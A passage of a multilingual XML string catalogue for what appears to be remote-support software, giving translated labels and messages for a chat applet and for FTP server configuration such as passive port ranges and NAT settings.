<fr>Envoyer</fr>
<it>Invia</it>
<ru>Отправить</ru>
<ja>送信</ja>
<zh>发送</zh>
<ko>보내기</ko>
<en-gb>Send</en-gb>
<hu>Küldés</hu>
<pt-br>Enviar</pt-br>
<nl>Verzenden</nl>
</msg>
<msg name="REFRESH">
<en>Refresh</en>
<de>Aktualisieren</de>
<es>Actualizar</es>
<fr>Actualiser</fr>
<it>Aggiorna</it>
<ru>Обновить</ru>
<ja>更新</ja>
<zh>刷新</zh>
<ko>새로 고침</ko>
<en-gb>Refresh</en-gb>
<hu>Frissít</hu>
<pt-br>Atualizar</pt-br>
<nl>Vernieuwen</nl>
</msg>
<msg name="CLOSE">
<en>Close</en>
<de>Schließen</de>
<es>Cerrar</es>
<fr>Fermer</fr>
<it>Chiudi</it>
<ru>Закрыть</ru>
<ja>閉じる</ja>
<zh>关闭</zh>
<ko>닫기</ko>
<en-gb>Close</en-gb>
<hu>Bezárás</hu>
<pt-br>Fechar</pt-br>
<nl>Sluiten</nl>
</msg>
</cat>
</cat>
<!-- chat applet messages -->
<!-- do not replace FAIL\n, MSG\n in localized versions -->
<cat name="CHAT">
<msg name="SESSION_ENDED">
<en>Chat Session Ended</en>
<de>Dialog-Sitzung endete</de>
<es>La sesión de conversación finalizó</es>
<fr>La session de chat s'est terminée</fr>
<it>Fine sessione di chat</it>
<ru>Завершение сеанса чата</ru>
<ja>チャット セッション終了</ja>
<zh>聊天会话结束</zh>
<ko>대화 세션 종료</ko>
<en-gb>Chat Session Ended</en-gb>
<hu>A csevegés munkamenet befejeződött</hu>
<pt-br>Sessão de bate-papo encerrada</pt-br>
<nl>Chatsessie beëindigd</nl>
</msg>
<msg name="TITLE">
<en>Chat</en>
<de>Dialog</de>
<es>Conversación</es>
<fr>Chat d'assistance</fr>
<it>Chat</it>
<ru>Чат</ru>
<ja>チャット</ja>
<zh>聊天</zh>
<ko>대화</ko>
<en-gb>Chat</en-gb>
<hu>Csevegés</hu>
<pt-br>Bate-papo</pt-br>
<nl>Chat</nl>
</msg>
<msg name="CLIENTNAME">
<en>Chat Client</en>
<de>Dialog Client</de>
<es>Cliente de Conversación</es>
<fr>Client Chat</fr>
<it>Client chat</it>
<ru>Клиент чата</ru>
<ja>チャット クライアント</ja>
<zh>聊天客户端</zh>
<ko>대화 클라이언트</ko>
<en-gb>Chat Client</en-gb>
<hu>Csevegő kliensprogram</hu>
<pt-br>Cliente de bate-papo</pt-br>
<nl>Chat-client</nl>
</msg>
<msg name="SEND">
<en>Send</en>
<de>Senden</de>
<es>Enviar</es>
<fr>Envoi</fr>
<it>Invia</it>
<ru>Отправить</ru>
<ja>送信</ja>
<zh>发送</zh>
<ko>보내기</ko>
<en-gb>Send</en-gb>
<hu>Küldés</hu>
<pt-br>Enviar</pt-br>
<nl>Verzenden</nl>
</msg>
<msg name="CLOSE">
<en>Close</en>
<de>Schließen</de>
<es>Cerrar</es>
<fr>Fermer</fr>
<it>Chiudi</it>
<ru>Закрыть</ru>
<ja>閉じる</ja>
<zh>关闭</zh>
<ko>닫기</ko>
<en-gb>Close</en-gb>
<hu>Bezárás</hu>
<pt-br>Fechar</pt-br>
<nl>Sluiten</nl>
</msg>
<msg name="INTUSER">
<en>The interactive user is $1.</en>
<de>Der interaktive Benutzer ist $1.</de>
<es>El usuario interactivo es $1.</es>
<fr>Lutilisateur interactif est $1.</fr>
<it>L'utente interattivo è $1.</it>
<ru>Интерактивный пользователь - $1.</ru>
<ja>インタラクティブ ユーザは $1 です。</ja>
<zh>交互式用户为 $1。</zh>
<ko>대화형 사용자가 $1입니다.</ko>
<en-gb>The interactive user is $1.</en-gb>
<hu>Az interaktív felhasználó: $1.</hu>
<pt-br>O usuário interativo é $1.</pt-br>
<nl>De interactieve gebruiker is $1.</nl>
</msg>
<msg name="UNNAMEDUSER">
<en>Interactive User</en>
<de>Interaktiver Benutzer</de>
<es>Usuario interactivo</es>
<fr>Utilisateur interactif</fr>
<it>Utente interattivo</it>
<ru>Интерактивный пользователь</ru>
<ja>インタラクティブ ユーザ</ja>
<zh>交互式用户</zh>
<ko>대화형 사용자</ko>
<en-gb>Interactive User</en-gb>
<hu>Interaktív felhasználó</hu>
<pt-br>Usuário interativo</pt-br>
<nl>Interactieve gebruiker</nl>
</msg>
<msg name="DESCRIPTION">
<en>Use Chat to communicate with the person sitting at the remote  computer. This makes it easy to describe what's going on and to offer help.</en>
<de>Verwenden sie den Dialog, um der Person zu kommunizieren, die gerade vor dem Remote-Computer sitzt. Somit ist es einfach, zu beschreiben, was passiert und wie geholfen werden kann.</de>
<es>Utilice Chat para comunicarse con la persona sentada frente al ordenador remoto. Esto facilita describir lo que está ocurriendo y ofrecer asistencia.</es>
<fr>Utilsez le Chat d'assistance pour communiquer avec la personne assise devant l'ordinateur distant. Cela facilite la description de ce qu'il se passe et permet d'offrir de l'aide.</fr>
<it>Utilizzare la chat per comunicare con l'utente del computer remoto. Ciò consente di descrivere più facilmente il problema e di offrire assistenza.</it>
<ru>Функция чата позволяет разговаривать с пользователем, сидящим перед компьютером. Это облегчает описание происходящего и обращение за помощью.</ru>
<ja>リモート コンピュータを直接操作する人と連絡を取るには、チャットを利用します。今何を行っているのかを説明したり、質問に答えたりする場合に便利です。</ja>
<zh>使用“聊天”功能与远程计算机前的用户交流。这样做便于描述正在发生的情况并提供帮助。</zh>
<ko>대화를 사용하여 원격 컴퓨터 앞에 앉아 있는 사람과 통신하십시오. 이 기능을 통해 현재 진행 상황을 설명하고 도움을 쉽게 제공할 수 있게 되었습니다.</ko>
<en-gb>Use Chat to communicate with the person sitting at the remote computer. This makes it easy to describe what's going on and to offer help.</en-gb>
<hu>A Csevegés segítéségével a távoli számítógép előtt ülő személlyel cseveghet. Ez könnyebbé teszi a magyarázatot és a segítségnyújtást.</hu>
<pt-br>Use o bate-papo para comunicar-se com a pessoa que está no computador remoto. Isso facilita a descrição do problema e a oferta de ajuda.</pt-br>
<nl>Gebruiken de chatfunctie om te communiceren met de persoon die aan de externe computer zit. Zo kunt u gemakkelijk beschrijven welke acties worden uitgevoerd en hulp en advies bieden.</nl>
</msg>
<msg name="REQUESTED">
<en>Chat requested by the interactive user</en>
<de>Chat durch interaktiven Benutzer angefordert</de>
<es>Chat solicitado por el usuario interactivo</es>
<fr>Chat demandé par l'utilisateur interactif</fr>
<it>Chat richiesta dall’utente interattivo</it>
<nl>Chat aangevraagd door interactieve gebruiker</nl>
<pt-br>Bate-papo solicitado pelo usuário interativo</pt-br>
<hu>Az interaktív felhasználó által kért csevegés</hu>
<ru>Интерактивный пользователь запросил чат</ru>
<ja>対話ユーザーに要求されたチャット</ja>
<ko>대화형 사용자가 요청한 대화</ko>
<zh>由交互式用户请求的聊天</zh>
</msg>
<msg name="REQUESTED.YESNO">
<en>The interactive user has requested a chat session. Press OK to begin chatting.</en>
<de>Der interaktive Benutzer wünscht eine Chat-Unterhaltung. Klicken Sie auf „OK“, um mit dem Chatten zu beginnen.</de>
<es>El usuario interactivo ha solicitado una sesión de chat. Pulse Aceptar para comenzar a chatear.</es>
<fr>L'utilisateur interactif a demandé une session de chat. Appuyez sur OK pour lancer le chat.</fr>
<it>L’utente interattivo ha richiesto una sessione di chat. Premi OK per iniziare a chattare.</it>
<nl>De interactieve gebruiker heeft een chat-sessie aangevraagd. Klik OK om te beginnen met chatten.</nl>
<pt-br>O usuário interativo solicitou uma sessão de bate-papo. Pressione OK para iniciar a conversa.</pt-br>
<hu>Az interaktív felhasználó csevegési munkamenetet kért. A csevegés indításához nyomja meg az OK gombot.</hu>
<ru>Интерактивный пользователь запросил сеанс чата. Нажмите кнопку «OK», чтобы начать чат.</ru>
<ja>対話ユーザーがチャット セッションを要求しました。チャットを開始する場合は [OK] をクリックします。</ja>
<ko>대화형 사용자가 대화 세션을 요청했습니다. 대화를 시작하려면 확인을 누르십시오.</ko>
<zh>交互式用户已请求了一个聊天会话。按“确定”开始聊天。</zh>
</msg>
<!-- error messages -->
<msg name="NORIGHTS">
<en>FAIL\n
You do not have the rights to chat with the interactive user.\n\n
</en>
<de>FAIL\n
Sie haben nicht die Berechtigung, mit dem interaktiven Benutzer zu chatten.\n\n</de>
<es>FAIL\n
No tiene derechos para conversar con el usuario interactivo.\n\n</es>
<fr>FAIL\n
Vous n'avez pas les droits vous permettant d'utiliser le Chat avec l'utilisateur interactif.\n\n</fr>
<it>FAIL\n
Non si dispone dei diritti per chattare con l'utente interattivo.\n\n</it>
<ru>FAIL\n
У вас нет прав на разговор с интерактивным пользователем.\n\n</ru>
<ja>FAIL\n インタラクティブ ユーザとチャットする権限がありません。\n\n</ja>
<zh>FAIL\n
您没有与交互式用户聊天的权限。\n\n</zh>
<ko>FAIL\n
대화형 사용자와 대화할 수 있는 권한이 없습니다.\n\n</ko>
<en-gb>FAIL\n
You do not have the rights to chat with the interactive user.\n\n</en-gb>
<hu>FAIL\n
Önnek nincs jogosultsága arra, hogy az interaktív felhasználóvak csevegjen.\n\n</hu>
<pt-br>FAIL\n
Você não tem direitos de bater papo com o usuário interativo.\n\n</pt-br>
<nl>FAIL\n U beschikt niet over de vereiste rechten om met de interactieve gebruiker te chatten.\n\n</nl>
</msg>
<msg name="NOUSER">
<en>FAIL\n
There is no interactive user logged on to the computer or he/she does not have the User Interface application running.\n\n
</en>
<de>FAIL\n
Auf diesem Computer ist kein interaktiver Benutzer angemeldet, oder der Benutzer hat die Anwendung nicht gestartet.\n\n</de>
<es>FAIL\n
Ningún usuario interactivo ha iniciado sesión en el ordenador o no está ejecutando la Interfaz de usuario.\n\n</es>
<fr>FAIL\n
Il n'y a pas d'utilisateur ineractif connecté sur l'ordinateur ou l'application de l'interface utillisateur n'est pas chargée \n\n</fr>
<it>FAIL\n
Nessun utente interattivo ha avuto accesso al computer o non è in esecuzione l'applicazione dell'interfaccia utente.\n\n</it>
<ru>FAIL\n
На данном компьютере не зарегистрированы интерактивные пользователи или у них нет соответствующего приложения с интерфейсом пользователя.\n\n</ru>
<ja>FAIL\n このコンピュータにログインしているインタラクティブ ユーザがいないか、そのユーザがユーザ インターフェイス アプリケーションを実行していません。\n\n</ja>
<zh>FAIL\n
没有交互式用户登录到计算机上,或者他/她没有运行用户界面应用程序。\n\n</zh>
<ko>FAIL\n
컴퓨터에 로그온한 대화형 사용자가 없거나 해당 사용자가 사용자 인터페이스 응용 프로그램을 실행하고 있지 않습니다.\n\n</ko>
<en-gb>FAIL\n
There is no interactive user logged on to the computer or he/she does not have the User Interface application running.\n\n</en-gb>
<hu>FAIL\n
Nincs bejelentkezett interaktív felhasználó a számítógépen, vagy nincs futó Felhasználói felület alkalmazása.\n\n</hu>
<pt-br>FAIL\n
Não há usuário interativo conectado ao computador ou o aplicativo Interface do usuário dele não está sendo executado.\n\n</pt-br>
<nl>FAIL\n Er is geen interactieve gebruiker aangemeld bij de computer of hij/zij heeft de toepassing voor de gebruikersinterface niet gestart.\n\n</nl>
</msg>
<msg name="ALREADYCHATTING">
<en>FAIL\n
The interactive user is already in a chat session.\n\n
</en>
<de>FAIL\n
Der interaktive Benutzer befindet sich bereits in einer Dialog-Sitzung.\n\n</de>
<es>FAIL\n
El usuario interactivo ya está en una sesión de conversación.\n\n</es>
<fr>FAIL\n
L'utilisateur interactif est déjà dans une session de chat.\n\n</fr>
<it>FAIL\n
L'utente interattivo è già impegnato in una sessione chat.\n\n</it>
<ru>FAIL\n
Интерактивный пользователь уже занят в сеансе чата.\n\n</ru>
<ja>FAIL\n インタラクティブ ユーザは、既にチャット セッションを実行中です。n\n</ja>
<zh>FAIL\n
交互式用户已经在聊天会话中。\n\n</zh>
<ko>FAIL\n
대화형 사용자가 이미 대화 세션에 있습니다.\n\n</ko>
<en-gb>FAIL\n
The interactive user is already in a chat session.\n\n</en-gb>
<hu>FAIL\n
Az interaktív felhasználó már egy csevegési munkamenetben van.\n\n</hu>
<pt-br>FAIL\n
O usuário interativo já está na sessão de bate-papo.\n\n</pt-br>
<nl>FAIL\n De interactieve gebruiker is reeds bezig met een chatsessie.\n\n</nl>
</msg>
<msg name="CHATINFO1">
<en>Enter your chat here. Press enter or click the button to send.</en>
<de>Geben Sie Ihren Dialog hier ein. Drücken Sie zum Senden die Eingabetaste, oder klicken Sie auf die entsprechende Schaltfläche.</de>
<es>Escriba aquí. Pulse Intro o haga clic en el botón para enviar.</es>
<fr>Entrez ici pour utiliser la messagerie instantanée. Appuyez sur Entrée ou cliquez sur le bouton pour envoyer.</fr>
<it>Entrare in chat da qui. Premere Invio o fare clic sul pulsante per inviare.</it>
<ru>Введите здесь текст для чата. Пожалуйста, нажмите клавишу ENTER или кнопку, чтобы отправить сообщение.</ru>
<ja>チャットをここに入力します。Enter を押すか、ボタンをクリックして、チャットを送信します。</ja>
<zh>请在此处输入聊天内容。按 Enter 键或单击该按钮发送。</zh>
<ko>여기에 대화를 입력하십시오. Enter 키를 누르거나 버튼을 클릭하여 보내십시오.</ko>
<hu>Ide írja a beszélgetés szövegét. Nyomja le az Enter billentyűt, vagy kattintson a gombra a küldéshez.</hu>
<pt-br>Insira seu bate-papo aqui. Pressione Enter ou clique no botão para enviar.</pt-br>
<nl>Voer hier uw chattekst in. Druk op de Enter-toets of klik op de knop om uw bericht te verzenden.</nl>
</msg>
<msg name="CHATINFO2">
<en>You are now connected. To chat, enter text in the field below and hit send.\n</en>
<de>Sie sind jetzt verbunden. Geben Sie zum chatten Ihre Nachricht an den Techniker  Text in das Feld unten ein, und klicken Sie auf "Senden".\n</de>
<es>Ahora está conectado. Para chatear, introduzca el texto en el campo siguiente y pulse Enviar.\n</es>
<fr>Vous êtes maintenant connecté(e). Pour commencer la conversation, entrez le texte dans le champ ci-dessous et cliquez sur Envoyer.\n</fr>
<it>Connessione effettuata. Per chattare, immettere il testo nel campo sottostante e premere Invia.\n</it>
<ru>Соединение установлено. Чтобы начать сеанс чата, введите текст в поле внизу и нажмите Отправить.\n</ru>
<ja>接続しました。チャットを実行するには、下のフィールドにテキストを入力して、[送信] を押します。\n</ja>
<zh>您现在已连接。要进行聊天,请在下面的字段中输入文本并单击发送。\n</zh>
<ko>이제 연결되었습니다. 대화하려면 아래 필드에 텍스트를 입력하고 "보내기"를 누르십시오.\n</ko>
<hu>Most már csatlakoztatva van. A beszélgetéshez írja be a szöveget az alábbi mezőbe, majd kattintson a küldés gombra.\n</hu>
<pt-br>Agora você está conectado. Para bater papo, insira o texto no campo a seguir e pressione Enviar.\n</pt-br>
<nl>U bent nu verbonden. Als u wilt chatten, voert u de berichttekst in het onderstaande veld in en klikt u vervolgens op Verzenden.\n</nl>
</msg>
</cat>
<!-- FTP configuration messages -->
<cat name="FTP">
<msg name="CONFIG">
<en>FTP Configuration</en>
<de>FTP Konfiguration</de>
<es>Configuración de la FTP</es>
<fr>Configuration FTP</fr>
<it>Configurazione FTP</it>
<ru>Настройка FTP</ru>
<ja>FTP 設定</ja>
<zh>FTP 配置</zh>
<ko>FTP 구성</ko>
<en-gb>FTP Configuration</en-gb>
<hu>FTP konfigurálása</hu>
<pt-br>Configuração de FTP</pt-br>
<nl>FTP-configuratie</nl>
</msg>
<msg name="STATUS">
<en>FTP Status</en>
<de>FTP Status</de>
<es>Estado de la FTP</es>
<fr>Statut FTP</fr>
<it>Stato FTP</it>
<ru>Состояние FTP</ru>
<ja>FTP ステータス</ja>
<zh>FTP 状态</zh>
<ko>FTP 상태</ko>
<en-gb>FTP Status</en-gb>
<hu>FTP állapot</hu>
<pt-br>Status do FTP</pt-br>
<nl>FTP-status</nl>
</msg>
<msg name="STATS">
<en>FTP Statistics</en>
<de>FTP Statistiken</de>
<es>Estadísticas de la FTP</es>
<fr>Statistiques FTP</fr>
<it>Statistiche FTP</it>
<ru>Статистика FTP</ru>
<ja>FTP 統計</ja>
<zh>FTP 统计信息</zh>
<ko>FTP 통계</ko>
<en-gb>FTP Statistics</en-gb>
<hu>FTP statisztikák</hu>
<pt-br>Estatísticas de FTP</pt-br>
<nl>FTP-statistieken</nl>
</msg>
<msg name="SERVERS">
<en>FTP Servers</en>
<de>FTP Server</de>
<es>Servidores FTP</es>
<fr>Serveurs FTP</fr>
<it>Server FTP</it>
<ru>FTP-серверы</ru>
<ja>FTP サーバー</ja>
<zh>FTP 服务器</zh>
<ko>FTP 서버</ko>
<en-gb>FTP Servers</en-gb>
<hu>FTP kiszolgálók</hu>
<pt-br>Servidores de FTP</pt-br>
<nl>FTP-servers</nl>
</msg>
<msg name="NOSERVERS">
<en>There are no FTP servers defined.</en>
<de>Derzeit sind keine FTP Server definiert.</de>
<es>No se ha definido ningún servidor FTP.</es>
<fr>Il n'y a pas de serveurs FTP définis</fr>
<it>Nessun server FTP definito.</it>
<ru>FTP-серверы не определены.</ru>
<ja>定義済みの FTP サーバーはありません。</ja>
<zh>没有定义任何 FTP 服务器。</zh>
<ko>FTP 서버를 정의하지 않았습니다.</ko>
<en-gb>No FTP servers have been defined.</en-gb>
<hu>Nincsenek FTP kiszolgálók meghatározva.</hu>
<pt-br>Não há servidores de FTP definidos.</pt-br>
<nl>Er zijn geen FTP-servers gedefinieerd.</nl>
</msg>
<msg name="USERS">
<en>FTP Users</en>
<de>FTP Benutzer</de>
<es>Usuarios FTP</es>
<fr>Utilisateurs FTP</fr>
<it>Utenti FTP</it>
<ru>FTP-пользователи</ru>
<ja>FTP ユーザ</ja>
<zh>FTP 用户</zh>
<ko>FTP 사용자</ko>
<en-gb>FTP Users</en-gb>
<hu>FTP felhasználók</hu>
<pt-br>Usuários de FTP</pt-br>
<nl>FTP-gebruikers</nl>
</msg>
<msg name="NOUSERS">
<en>There are no FTP users defined.</en>
<de>Derzeit sind keine FTP Benutzer definiert.</de>
<es>No se ha definido ningún usuario FTP.</es>
<fr>Il n'y a pas d'utilisateurs FTP définis</fr>
<it>Nessun utente FTP definito.</it>
<ru>FTP-пользователи не определены.</ru>
<ja>定義済みの FTP ユーザはありません。</ja>
<zh>没有定义任何 FTP 用户。</zh>
<ko>FTP 사용자를 정의하지 않았습니다.</ko>
<en-gb>No FTP users have been defined.</en-gb>
<hu>Nincsenek FTP felhasználók meghatározva.</hu>
<pt-br>Não há usuários de FTP definidos.</pt-br>
<nl>Er zijn geen FTP-gebruikers gedefinieerd.</nl>
</msg>
<msg name="GROUPS">
<en>FTP Groups</en>
<de>FTP Gruppen</de>
<es>Grupos FTP</es>
<fr>Groupes FTP</fr>
<it>Gruppi FTP</it>
<ru>FTP-группы</ru>
<ja>FTP グループ</ja>
<zh>FTP 组</zh>
<ko>FTP 그룹</ko>
<en-gb>FTP Groups</en-gb>
<hu>FTP csoportok</hu>
<pt-br>Grupos de FTP</pt-br>
<nl>FTP-groepen</nl>
</msg>
<msg name="NOGROUPS">
<en>There are no FTP groups defined.</en>
<de>Derzeit sind keine FTP Gruppen definiert.</de>
<es>No se ha definido ningún grupo FTP.</es>
<fr>il n'y a pas de groupes FTP définis</fr>
<it>Nessun gruppo FTP definito.</it>
<ru>FTP-группы не определены.</ru>
<ja>定義済みの FTP グループはありません。</ja>
<zh>没有定义任何 FTP 组。</zh>
<ko>FTP 그룹을 정의하지 않았습니다.</ko>
<en-gb>No FTP groups have been defined.</en-gb>
<hu>Nincsenek FTP csoportok meghatározva.</hu>
<pt-br>Não há grupos de FTP definidos.</pt-br>
<nl>Er zijn geen FTP-groepen gedefinieerd.</nl>
</msg>
<msg name="DRIVELIST">
<en>[Drive list]</en>
<de>[Laufwerksliste]</de>
<es>[Lista de unidades]</es>
<fr>[Drive list]</fr>
<it>[Elenco unità]</it>
<ru>[Список дисков]</ru>
<ja>[ドライブ リスト]</ja>
<zh>[驱动器列表]</zh>
<ko>[드라이브 목록]</ko>
<en-gb>[Drive list]</en-gb>
<hu>[Meghajtólista]</hu>
<pt-br>[Lista de unidades]</pt-br>
<nl>[Lijst met stations]</nl>
</msg>
<!-- server config pages -->
<msg name="SERVERNAME">
<en>Name</en>
<de>Name</de>
<es>Nombre</es>
<fr>Nom</fr>
<it>Nome</it>
<ru>Имя</ru>
<ja>名前</ja>
<zh>名称</zh>
<ko>이름</ko>
<en-gb>Name</en-gb>
<hu>Név</hu>
<pt-br>Nome</pt-br>
<nl>Naam</nl>
</msg>
<msg name="SERVERDEFAULTNAME">
<en>New FTP Server</en>
<de>Neuer FTP Server</de>
<es>Nuevo Servidor FTP</es>
<fr>Nouveau Serveur FTP</fr>
<it>Nuovo server FTP</it>
<ru>Создать FTP-сервер</ru>
<ja>新しい FTP サーバー</ja>
<zh>新 FTP 服务器</zh>
<ko>새 FTP 서버</ko>
<en-gb>New FTP Server</en-gb>
<hu>Új FTP kiszolgáló</hu>
<pt-br>Novo servidor de FTP</pt-br>
<nl>Nieuwe FTP-server</nl>
</msg>
<msg name="SERVERDEL">
<en>Delete</en>
<de>Löschen</de>
<es>Eliminar</es>
<fr>Effacer</fr>
<it>Elimina</it>
<ru>Удалить</ru>
<ja>削除</ja>
<zh>删除</zh>
<ko>삭제</ko>
<en-gb>Delete</en-gb>
<hu>Törlés</hu>
<pt-br>Excluir</pt-br>
<nl>Verwijderen</nl>
</msg>
<msg name="SERVERSECURITY">
<en>Security</en>
<de>Sicherheit</de>
<es>Seguridad</es>
<fr>Sécurité</fr>
<it>Protezione</it>
<ru>Безопасность</ru>
<ja>セキュリティ</ja>
<zh>安全</zh>
<ko>보안</ko>
<en-gb>Security</en-gb>
<hu>Biztonság</hu>
<pt-br>Segurança</pt-br>
<nl>Beveiliging</nl>
</msg>
<msg name="SERVERNT">
<en>Windows Users</en>
<de>NT Benutzer</de>
<es>Usuarios de Windows</es>
<fr>Fenêtres utilisateurs</fr>
<it>Utenti Windows</it>
<ru>Пользователи Windows</ru>
<ja>Windows ユーザ</ja>
<zh>Windows 用户</zh>
<ko>Windows 사용자</ko>
<en-gb>Windows Users</en-gb>
<hu>Windows felhasználók</hu>
<pt-br>Usuários do Windows</pt-br>
<nl>Windows-gebruikers</nl>
</msg>
<msg name="SERVERWELCOME">
<en>Welcome</en>
<de>Willkommen</de>
<es>Bienvenido</es>
<fr>Bienvenue</fr>
<it>Benvenuto</it>
<ru>Добро пожаловать</ru>
<ja>ようこそ</ja>
<zh>欢迎</zh>
<ko>시작</ko>
<en-gb>Welcome</en-gb>
<hu>Üdvözöljük</hu>
<pt-br>Bem-vindo</pt-br>
<nl>Welkom</nl>
</msg>
<msg name="SERVERPASSRANGE">
<en>Port range for passive data transfers (inclusive)</en>
<de>Port-Berich für passiven Datentransfer (inklusive)</de>
<es>Régimen del puerto para transferencia pasiva de datos (incluido)</es>
<fr>Zone de port pour des transferts de données passifs (inclus)</fr>
<it>Intervallo porte per trasferimenti dati passivi (incluse)</it>
<ru>Диапазон портов для пассивной передачи данных (включительно)</ru>
<ja>受信データ転送用ポートの範囲 (包括的)</ja>
<zh>无源数据传输的端口范围(包括边界点)</zh>
<ko>수동 데이터 전송을 위한 포트 범위(포함)</ko>
<en-gb>Port range for passive data transfers (inclusive)</en-gb>
<hu>Port-tartomány a passzív adatátvitelhez (bezárólag)</hu>
<pt-br>Intervalo de porta para transferências de dados passivas (inclusive)</pt-br>
<nl>Poortbereik voor passieve gegevensoverdracht (inclusief begin- en eindpoorten)</nl>
</msg>
<msg name="SERVERPASSRANGE.NOTE">
<en>If you set any of the range fields to '0', the FTP server tries to
accept passive connections on the port (server port - 1). If that port
is in use, it queries the operating system for an arbitrary free port.</en>
<de>Wenn Sie irgendein Bereichsfelder mit '0' belegen, versucht der FTP
Server passive Verbindungen auf dem Port (server port - 1) anzunehmen.
Wenn der Port bereits verwendet wird, wird ein anderer freier Port
verwendet.</de>
<es>Si establece cualquiera de los regímenes a '0', el servidor FTP intentará
aceptar las conexiones pasivas en el puerto (puerto servidor - 1). Si dicho puerto
está en uso, pedirá al sistema operativo un puerto libre.</es>
<fr>Si vous attribuez la valeur '0' à un quelconque de ces champs, le serveur FTP tentera
d'accepter les connexions passives sur le port (port serveur - 1). Si ce port
est déjà utilisé, il demandera au système d'exploitation de lui fournir un autre port arbitrairement.</fr>
<it>Se uno dei campi dell'intervallo è stato impostato su '0', il server FTP tenterà di accettare le connessioni passive sulla porta (porta server - 1). Se la porta è in uso, verrà richiesta al sistema operativo una porta disponibile arbitraria.</it>
<ru>Если установить в каком-либо поле диапазонов "0", то FTP-сервер будет пытаться принимать пассивные подключения на соответствующий порт (порт сервера - 1). Если этот порт занят, то он запрашивает у операционной системы любой свободный порт.</ru>
<ja>範囲フィールドのどれかを「0」に設定した場合、FTP サーバーは、ポート (サーバー ポート - 1) 上の受信接続を許可しようとします。そのポートが使用中の場合は、オペレーティング システムに任意の空きポートを問い合わせます。</ja>
<zh>如果您将任意范围字段设置为“0”,则 FTP 服务器尝试
接受端口(服务器端口 - 1)上的无源连接。如果该端口正在使用,
则将向操作系统查询任意一个空闲端口。</zh>
<ko>범위 필드를 '0'으로 설정하면 FTP 서버는 포트(서버 포트 - 1)에서 수동 연결을 승인합니다. 해당 포트가 사용 중인 경우 운영 체제에서 사용 가능한 임의 포트를 쿼리합니다.</ko>
<en-gb>If you set any of the range fields to '0', the FTP server tries to accept passive connections on the port (server port - 1). If that port is in use, it queries the operating system for an arbitrary free port.</en-gb>
<hu>Ha a tartomány mezői közül bármelyiket '0'-ra állítja, az FTP kiszolgáló megkísérli a
passzív kapcsolatok fogadását a porton (kiszolgálóport - 1). Ha ez a port
használatban van, akkor lekérdezi az operációs rendszert egy tetszőleges szabad portot keresve.</hu>
<pt-br>Se você tiver definido qualquer campo de intervalo como '0', o servidor de FTP tentará
aceitar conexões passivas na porta (porta do servidor - 1). Se essa porta
estiver em uso, ela consultará o sistema operacional para obter uma porta arbitrária gratuita.</pt-br>
<nl>Als u voor een van de bereiken de waarde '0' opgeeft, probeert de FTP-server passieve verbindingen te accepteren voor de poort (serverpoort - 1). Als deze poort in gebruik is, wordt in het besturingssysteem gezocht naar een willekeurige poort die beschikbaar is.</nl>
</msg>
<msg name="SERVERPASSFORCEWHAT">
<en>IP address of the network interface connecting to NAT router</en>
<de>IP-Adresse der Netzwerkschnittstelle, die mit dem NAT Router verbunden ist.</de>
<es>Dirección IP de la interfaz de red conectando con el router NAT</es>
<fr>L'adresse IP de l'interface réseau se connecte à la NAT du routeur</fr>
<it>Connessione dell'indirizzo IP dell'interfaccia di rete al router NAT</it>
<ru>IP-адрес сетевого интерфейса, подключающегося к NAT-маршрутизатору</ru>
<ja>NAT ルーターに接続しているネットワーク インターフェイスの IP アドレス</ja>
<zh>连接至 NAT 路由器的网络接口的 IP 地址</zh>
<ko>NAT 라우터에 연결 중인 네트워크 인터페이스의 IP 주소</ko>
<en-gb>IP address of the network interface connecting to NAT router</en-gb>
<hu>A NAT útválasztóhoz kapcsolódó hálózati interfész IP címe</hu>
<pt-br>Endereço IP da interface de rede em conexão ao roteador NAT</pt-br>
<nl>IP-adres van de netwerkinterface waarmee een verbinding met de NAT-router wordt gemaakt</nl>
</msg>
<msg name="SERVERPASSFORCEWHATSUBNET">
<en>Subnet mask of the network interface connecting to NAT router</en>
<de>Subnetzmaske der Netzwerkschnittstelle, die mit dem NAT Router verbunden ist.</de>
<es>Máscara de subred de la interfaz de red conectando con router NAT</es>
<fr>Subnet mask de l'interface réseau se connecte à la NAT du routeur</fr>
<it>Connessione della subnet mask dell'interfaccia di rete al router NAT</it>
<ru>Маска подсети сетевого интерфейса, подключающегося к NAT-маршрутизатору</ru>
<ja>NAT ルーターに接続しているネットワーク インターフェイスの サブネット マスク</ja>
<zh>连接至 NAT 路由器的网络接口的子网掩码</zh>
<ko>NAT 라우터에 연결 중인 네트워크 인터페이스의 서브넷 마스크</ko>
<en-gb>Subnet mask of the network interface connecting to NAT router</en-gb>
<hu>A NAT útválasztóhoz kapcsolódó hálózati interfész alhálózati maszkja</hu>
<pt-br>Máscara de sub-rede da interface de rede em conexão ao roteador NAT</pt-br>
<nl>Subnetmasker van de netwerkinterface waarmee een verbinding met de NAT-router wordt gemaakt</nl>
</msg>
<msg name="SERVERPASSFORCE">
<en>External address of NAT router</en>
<de>Externe Adresse des NAT Routers</de>
<es>Dirección externa de router NAT</es>
<fr>Adresse externe de la NAT du routeur</fr>
<it>Indirizzo esterno del router NAT</it>
<ru>Внешний адрес NAT-маршрутизатора</ru>
<ja>NAT ルーターの外部アドレス</ja>
<zh>NAT 路由器的外部地址</zh>
<ko>NAT 라우터의 외부 주소</ko>
<en-gb>External address of NAT router</en-gb>
<hu>NAT útválasztó külső címe</hu>
<pt-br>Endereço externo do roteador NAT</pt-br>
<nl>Extern adres van de NAT-router</nl>
</msg>
<msg name="SERVERPASSFORCE.NOTE">
<en>If this server connects to the internet through a NAT router, you
should supply the above information. This is required if you want clients
to be able to initiate passive data transfers.</en>
<de>Wenn der Server mit dem Internet über einen NAT Router verbunden ist,
sollten Sie diese Information oben angeben. Diese Angaben sind notwendig,
wenn Clients die passive Datenübertragung initiieren können sollen.</de>
<es>Si este servidor se conecta a Internet a través de un router NAT, 
deberá facilitar la información anterior. Esto es necesario si los clientes
puedan iniciar transferencias de datos pasivas.</es>
<fr>Si ce serveur se connecte à Internet à travers la NAT d'un routeur, vous
vous devez fournir l'information ci-dessus. Ceci est nécessaire si vous voulez que des clients
puissent lancer des transferts de données en mode passif.</fr>
<it>Se il server si connette a Internet mediante un router NAT, è necessario fornire le informazioni precedenti. Questa operazione è necessaria per consentire ai client di avviare trasferimenti di dati passivi.</it>
<ru>Если данный сервер подключается к Интернету через NAT-маршрутизатор, то следует предоставить указанную выше информацию. Это необходимо, если нужно, чтобы клиенты были способны инициировать массивные передачи данных.</ru>
